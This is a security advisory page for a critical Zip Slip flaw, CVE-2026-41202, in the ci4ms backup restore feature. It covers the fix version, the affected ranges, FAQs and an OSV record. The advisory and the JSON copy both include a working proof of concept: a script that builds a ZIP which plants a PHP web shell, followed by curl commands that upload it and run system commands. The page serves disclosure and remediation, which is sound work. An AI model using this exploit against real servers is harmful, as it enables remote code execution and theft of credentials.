CVE-2026-41202: CI4MS Backup Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-xp9f-pvvc-57p4
CWE-22
Published
Advisory Summary

CVE-2026-41202 is a CRITICAL remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting CI4MS Backup libraries in the Packagist ecosystem. The issue involves :restore is vulnerable to zip slip leading to rce. Remediation is available by upgrading affected packages to version 0.31.5.0.

CVE-2026-41202 at a Glance

CVE Identifier CVE-2026-41202
GHSA Identifier GHSA-xp9f-pvvc-57p4
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product CI4MS Backup
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-41202

To remediate this vulnerability, upgrade all affected CI4MS Backup dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ci4-cms-erp/ci4ms fixed: 0.31.5.0
Upgrade ci4-cms-erp/ci4ms to 0.31.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ci4-cms-erp/ci4ms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41202, inspect your project dependencies for CI4MS Backup:

inspect dependencies for ci4-cms-erp/ci4ms

Analyze the terminal output to locate any version of CI4MS Backup in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In CI4MS Backup, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. ### Details modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination: ```php public function restore() { $valData = ([ 'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'], ]); if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors()); $file = $this->request->getFile('backup_file'); if ($file && $file->isValid() && ! $file->hasMoved()) { $newName = $file->getRandomName(); $uploadPath = WRITEPATH . 'uploads/'; ... $filePath = WRITEPATH . 'uploads/' . $newName; $sqlPath = $filePath; if ($ext === 'zip') { $zip = new \ZipArchive(); if ($zip->open($filePath) === true) { $zip->extractTo($uploadPath); // no entry-name validation $sqlPath = $uploadPath . $zip->getNameIndex(0); $zip->close(); @unlink($filePath); } } ... } } ``` A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here. Routing: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser. ### PoC Build the archive: ```python python3 -c " import zipfile with zipfile.ZipFile('evil.zip','w') as z: z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>') z.writestr('dump.sql', 'SELECT 1;') " ``` Submit it as a backup to restore: ```bash curl -i -b 'ci4ms_session=<SESSION_ID>' \ -F 'backup_file=@evil.zip' \ https://target.example.com/backend/backup/restore ``` Trigger the shell: ```bash curl 'https://target.example.com/shell.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.

CVE-2026-41202 Affected CI4MS Backup Versions

1 component(s)
Fixed Versions:
0.31.5.0
Product / Package Ecosystem Affected Versions Fixed Version
ci4-cms-erp/ci4ms
Packagist
< 0.31.5.0
0.31.5.0

References

Frequently Asked Questions

What is CVE-2026-41202?
CVE-2026-41202 is a security vulnerability in CI4MS Backup involving :restore is vulnerable to Zip Slip leading to RCE under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which CI4MS Backup versions are affected?
Affected versions include releases prior to 0.31.5.0 across affected packages: ci4-cms-erp/ci4ms.
What version fixes CVE-2026-41202?
Upgrading to 0.31.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ci4-cms-erp/ci4ms affected?
Yes, ci4-cms-erp/ci4ms is affected in releases prior to 0.31.5.0. Upgrade your dependency to 0.31.5.0 or later.
What CWE is associated with CVE-2026-41202?
CVE-2026-41202 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Packagist dependencies for CVE-2026-41202?
Run the dependency tree command: 'inspect dependencies for ci4-cms-erp/ci4ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xp9f-pvvc-57p4",
  "modified" : "2026-05-08T19:55:21Z",
  "published" : "2026-04-22T17:28:39Z",
  "aliases" : [ "CVE-2026-41202" ],
  "summary" : "CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE",
  "details" : "### Summary\nci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:\n\n```php\npublic function restore()\n{\n    $valData = ([\n        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],\n    ]);\n    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());\n    $file = $this->request->getFile('backup_file');\n\n    if ($file && $file->isValid() && ! $file->hasMoved()) {\n        $newName    = $file->getRandomName();\n        $uploadPath = WRITEPATH . 'uploads/';\n        ...\n        $filePath = WRITEPATH . 'uploads/' . $newName;\n        $sqlPath  = $filePath;\n        if ($ext === 'zip') {\n            $zip = new \\ZipArchive();\n            if ($zip->open($filePath) === true) {\n                $zip->extractTo($uploadPath);          // no entry-name validation\n                $sqlPath = $uploadPath . $zip->getNameIndex(0);\n                $zip->close();\n                @unlink($filePath);\n            }\n        }\n        ...\n    }\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile('evil.zip','w') as z:\n    z.writestr('../../public/shell.php', '<?php system(\\$_GET[\\\"c\\\"]); ?>')\n    z.writestr('dump.sql', 'SELECT 1;')\n\"\n```\n\nSubmit it as a backup to restore:\n\n```bash\ncurl -i -b 'ci4ms_session=<SESSION_ID>' \\\n  -F 'backup_file=@evil.zip' \\\n  https://target.example.com/backend/backup/restore\n```\n\nTrigger the shell:\n\n```bash\ncurl 'https://target.example.com/shell.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41202"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:28:39Z",
    "nvd_published_at" : "2026-05-07T04:16:27Z"
  }
}